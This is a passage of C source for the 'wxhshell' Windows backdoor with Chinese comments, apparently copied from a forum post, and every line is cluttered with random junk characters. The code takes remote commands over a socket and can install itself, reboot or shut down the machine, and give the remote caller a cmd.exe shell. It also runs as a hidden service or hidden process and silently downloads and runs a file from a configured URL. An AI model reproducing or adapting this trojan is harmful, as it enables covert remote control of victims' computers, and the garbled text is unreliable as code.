    switch(cmd[0]) { E%TvGe;#  
  vsK>?5{C-  
  // 帮助 [{YV<kN  
  case '?': { %llG/]q#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l<5!R;?$  
    break; j2+&B9 (  
  } )jg3`I@  
  // 安装 ,~v1NK*  
  case 'i': { \2YhI0skW  
    if(Install()) 95}"AIi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &A~1Q#4  
    else n}2}4^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p~t$ll0s  
    break; rie1F,  
    } \C#Vh7z"2&  
  // 卸载 ]BA8[2=m  
  case 'r': { '2NeuK-KD  
    if(Uninstall()) --FvE|I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yDPek*#^"q  
    else '?\Hm'8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xe d$z  
    break; @_;6 L  
    } uaiG (O   
  // 显示 wxhshell 所在路径 fYwumx`J  
  case 'p': { pcE.  
    char svExeFile[MAX_PATH]; gbvBgOp  
    strcpy(svExeFile,"\n\r"); t^q/'9Ai&J  
      strcat(svExeFile,ExeFile); `| fF)kI  
        send(wsh,svExeFile,strlen(svExeFile),0); N3,EF1%  
    break; l! GPOmf9`  
    } aD.A +es  
  // 重启 D`u{U]  
  case 'b': { Q,>AT$|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mWZV O,t$  
    if(Boot(REBOOT))  A/9 wr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7JbN WN  
    else { [.2>=3T  
    closesocket(wsh); O?P6rXKr  
    ExitThread(0); f.!cR3XgV  
    } 74Lq!e3hMF  
    break; h-<+Pjc  
    } qu?D`29  
  // 关机 )9}z^+TH  
  case 'd': { }RXm=ArN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wDn5|F}i&  
    if(Boot(SHUTDOWN)) "F=O   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _]B'C  
    else { m$]?Jq  
    closesocket(wsh); ZW2U9  
    ExitThread(0); ur;8uv2o  
    } (u *-(  
    break; $#CkI09  
    } w!61k \  
  // 获取shell IyMKV$"  
  case 's': { +ft?aB@  
    CmdShell(wsh); =h4XsV)rO  
    closesocket(wsh); ;:v:pg8qc  
    ExitThread(0); d35,[  
    break; %GJ, &b|  
  } B7cXbUAQs  
  // 退出 By" =]|Q  
  case 'x': { }_K7}] 1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JD.WH|sZ5  
    CloseIt(wsh); Kpg]b"9.R  
    break; |@Bl?Bs+  
    } (%tKGeb  
  // 离开 t'^/}=c-  
  case 'q': {  1D6iJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u\50,N9Wp{  
    closesocket(wsh); YI|7a#*F  
    WSACleanup(); E#J+.&2  
    exit(1); 1%H]2@  
    break; 8!1vsEqv  
        } 4jvgyi 9  
  } 8dP^zjPj  
  } yKi* 8N"e<  
#5F\zeo@F?  
  // 提示信息 $cnIsyKWY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Die~rPU  
} O.}{s;  
  } ;'*"(F=D6  
k5(@n>p  
  return; 4\>Cnc{  
} rlgp1>89  
|*Hw6m  
// shell模块句柄 U5odSR$  
int CmdShell(SOCKET sock) MC^H N w  
{ woQYP,  
STARTUPINFO si; 3s" Rv@  
ZeroMemory(&si,sizeof(si)); 2}K7(y!?u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0X.pI1jCO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UE5T%zd/  
PROCESS_INFORMATION ProcessInfo; S-*4HV_l  
char cmdline[]="cmd"; tAefBFu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SZNM$X|T  
  return 0; Eb[*nWF=  
} + Uq$'2CT  
:A>cf}  
// 自身启动模式 BZe x  
int StartFromService(void) >HXT:0  
{ $o0o5 ^Z-  
typedef struct M#UW#+*g!  
{ ) m[0,  
  DWORD ExitStatus; $)mK]57  
  DWORD PebBaseAddress; ]7eQ5[ 5s  
  DWORD AffinityMask; 5?{a=r9  
  DWORD BasePriority; V^[o{'+  
  ULONG UniqueProcessId; hIE$ut +  
  ULONG InheritedFromUniqueProcessId; oIN!3  
}   PROCESS_BASIC_INFORMATION; \}Z5}~S  
,dP-sD;<  
PROCNTQSIP NtQueryInformationProcess; *MglX<  
~J)_S' #  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <`}Oi 5nW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2eK!<Gj  
z1K@AaRx  
  HANDLE             hProcess; f%;8]a9  
  PROCESS_BASIC_INFORMATION pbi; unKi)v1  
(]>= y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CNwIM6t  
  if(NULL == hInst ) return 0; 4 cDjf~n  
qS:hv&~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -W<x|ph U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Yxp.`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QX-%<@  
?#da4W  
  if (!NtQueryInformationProcess) return 0; 9KkxUEkW  
LB1LQ 0M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hOG9  
  if(!hProcess) return 0; [@(M%  
Bvb.N$G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E<y0;l?H<  
u_shC"X:  
  CloseHandle(hProcess); O`<id+rx  
G(" S6u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xEb+sE6Z  
if(hProcess==NULL) return 0; MOi.bHCQJP  
%ukFn &-2@  
HMODULE hMod; n]S DpptM  
char procName[255]; 5[suwaJQ  
unsigned long cbNeeded; MEf`&<t  
M{w[hV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `lygJI?H+{  
*:L-/Q)i  
  CloseHandle(hProcess); Q]?r&%Y  
?NkweT(  
if(strstr(procName,"services")) return 1; // 以服务启动 ,T& =*q  
O eLM*Zi  
  return 0; // 注册表启动 d^p af  
} o."k7fLB  
845a%A$  
// 主模块 w/ &)mm{  
int StartWxhshell(LPSTR lpCmdLine) dNK Q&TC  
{ $R6iG\V5  
  SOCKET wsl; o}O"  
BOOL val=TRUE; oe$&X&  
  int port=0; ?tx%K U\3  
  struct sockaddr_in door; ;aXu  
$=3&qg"!  
  if(wscfg.ws_autoins) Install(); 7/C,<$Ep  
/Y| y0iK  
port=atoi(lpCmdLine); 4IfOvAN%  
RrB)u?  
if(port<=0) port=wscfg.ws_port; e1ts/@V  
trlZ^K  
  WSADATA data; :4JqT|nS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =Y!x  
DD5 S R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~0/tU#&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jT/}5\  
  door.sin_family = AF_INET; }(tuBJ9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nwSujD  
  door.sin_port = htons(port); vz$-KT4e^  
Qwp2h"t`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qE8Di\?  
closesocket(wsl); $M~`)UeV_  
return 1; F"QJ)F  
} ;,7m  
u68ic1  
  if(listen(wsl,2) == INVALID_SOCKET) { uJ8FzS>[V  
closesocket(wsl); 1^ iLs  
return 1; (j(9'DjP  
} Qz"//=hC|H  
  Wxhshell(wsl); 0#ON}l)>  
  WSACleanup(); J(A+mYr{:  
KFy|,@NI  
return 0; PZ#aq~>w  
>U?#'e{qW  
} !)}D_9{  
1:_}`x=hM  
// 以NT服务方式启动 D |fo:Xp,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vt-V'`Y  
{ b< []z,  
DWORD   status = 0; eR/X9<  
  DWORD   specificError = 0xfffffff; {Z1-B60P  
%d<UMbS^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LR'~:46#u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,Ek6X)|@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 19RbIG/X  
  serviceStatus.dwWin32ExitCode     = 0; #WGyQ u  
  serviceStatus.dwServiceSpecificExitCode = 0; [E"3 ?p  
  serviceStatus.dwCheckPoint       = 0; /||8j.Tm  
  serviceStatus.dwWaitHint       = 0; = )4bf"~8  
8#9OSupp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cv/3-&5S  
  if (hServiceStatusHandle==0) return; _Y$v=!fY&  
<p+7,aE_  
status = GetLastError(); RWoVN$i>  
  if (status!=NO_ERROR) R/ x-$VJ  
{ i8DYC=r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c{39,oF  
    serviceStatus.dwCheckPoint       = 0; ]7RK/Zu i  
    serviceStatus.dwWaitHint       = 0; n A%8 bZ+  
    serviceStatus.dwWin32ExitCode     = status; v[ R_6  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5HTY ~&C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F=f9##Y?7M  
    return; )i\foSbB`V  
  } ldc`Y/:{  
(a~V<v"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l E* .9T  
  serviceStatus.dwCheckPoint       = 0; Ih;D-^RQ  
  serviceStatus.dwWaitHint       = 0; KXUJ*l-5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ju4wU; Nu  
} {UF|-VaG  
RB;2  
// 处理NT服务事件,比如:启动、停止 |/Y!R>El  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }:1qK67S  
{ I*mBU^<9V  
switch(fdwControl) =/4}!B/  
{ T b*Q4:r"  
case SERVICE_CONTROL_STOP: $-6[9d-N  
  serviceStatus.dwWin32ExitCode = 0; LmUR@ /V Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,S~A]uH'  
  serviceStatus.dwCheckPoint   = 0; A5O;C  
  serviceStatus.dwWaitHint     = 0; jO`L:D/C  
  { vkW;qt}yO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'C;KNc  
  } r4iT 9 D  
  return; &yqk96z  
case SERVICE_CONTROL_PAUSE: z^y -A ?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GkKoc v  
  break; FY]Et= p  
case SERVICE_CONTROL_CONTINUE: ~dLe9-_9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?3i<^@?  
  break; cCIs~*D  
case SERVICE_CONTROL_INTERROGATE: +!G)N~o  
  break; MW=rX>tE  
}; tMo=q7ig  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); APU~y5vG (  
} pvRa  
s&DAO r!i  
// 标准应用程序主函数 ;)sC{ "Jb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5 L-6@@/  
{ zCu+Oi6  
eEeK ] 8@  
// 获取操作系统版本 gV'=u z v  
OsIsNt=GetOsVer(); 7'@~TM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '%a:L^a?  
(D\`:1g  
  // 从命令行安装 [&zSYmDk  
  if(strpbrk(lpCmdLine,"iI")) Install(); *P`k|-  
SW HiiF@  
  // 下载执行文件 :;Npk9P(N  
if(wscfg.ws_downexe) { W=,]#Z+M;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QR$m i1Vv\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,{Z!T5 |  
} 3v)`` n@  
G@<[fO|Iam  
if(!OsIsNt) { Su'l &]  
// 如果时win9x,隐藏进程并且设置为注册表启动 T\Jm=+]c!  
HideProc(); Owh:(EJ"d  
StartWxhshell(lpCmdLine); AQc9@3T~Bi  
} :r&4/sN}<  
else V<d`.9*}  
  if(StartFromService()) 'jKCAU5/0;  
  // 以服务方式启动 |;YDRI  
  StartServiceCtrlDispatcher(DispatchTable); +V#dJ[,8;.  
else d2g7 ,axi  
  // 普通方式启动 '/X m%S  
  StartWxhshell(lpCmdLine); gNh4c{Al9  
Nm3CeU  
return 0; \r &(l1R  
}
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只看该作者 1 发表于: 2006-10-10
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